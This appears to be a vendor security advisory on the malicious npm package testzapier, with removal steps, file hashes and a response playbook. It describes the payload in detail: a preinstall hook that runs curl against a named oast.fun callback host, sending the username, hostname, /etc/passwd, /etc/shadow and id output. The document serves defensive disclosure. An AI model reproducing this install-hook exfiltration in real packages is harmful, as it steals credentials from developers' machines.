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Malicious package

testzapiernpm

Advisory published Updated

testzapier is a confirmed malicious npm package (MAL-2026-5575) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in testzapier (npm)

MAL-2026-5575
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall testzapier

What this malware does

package.json declares a preinstall hook (node index.js) that fires automatically on npm install. index.js spawns a shell that runs curl -X POST against http://kpfdtycruuyszysbsjtoj9al6djfqrtve.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/, embedding the installer's username and hostname in the URL path. The User-Agent header carries a base64-encoded blob containing the contents of /etc/passwd, /etc/hosts, /etc/shadow (when readable as root), and the output of id. The destination is an interactsh/oast.fun OOB-callback subdomain, plain HTTP, with no relationship to any documented package purpose. Installer harm is direct and unconditional: any machine running npm install testzapier leaks host identity and local-account/secret-file contents to the attacker.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

045f2a9515d6ea6e0d97f528486c1ed7ffb6626ae018c414b5842ba2db15fac1
a5840f2a3b34d7f32de7243a146ecf85ac875bd1ef09b0ba9a395d08e356084f
660ed463d49d2702aff017efd42f11c8406d23cd9cae3aae7ae5640273e78dcc

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for testzapier (2 malicious versions).

  2. If you installed it — respond

    Remove testzapier from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If testzapier was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. testzapier on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005461IN-MAL-2026-005460GHSA-5ppv-rxq4-cf57

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks testzapier-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

testzapier (npm) malicious package — MAL-2026-5575 | O3 Security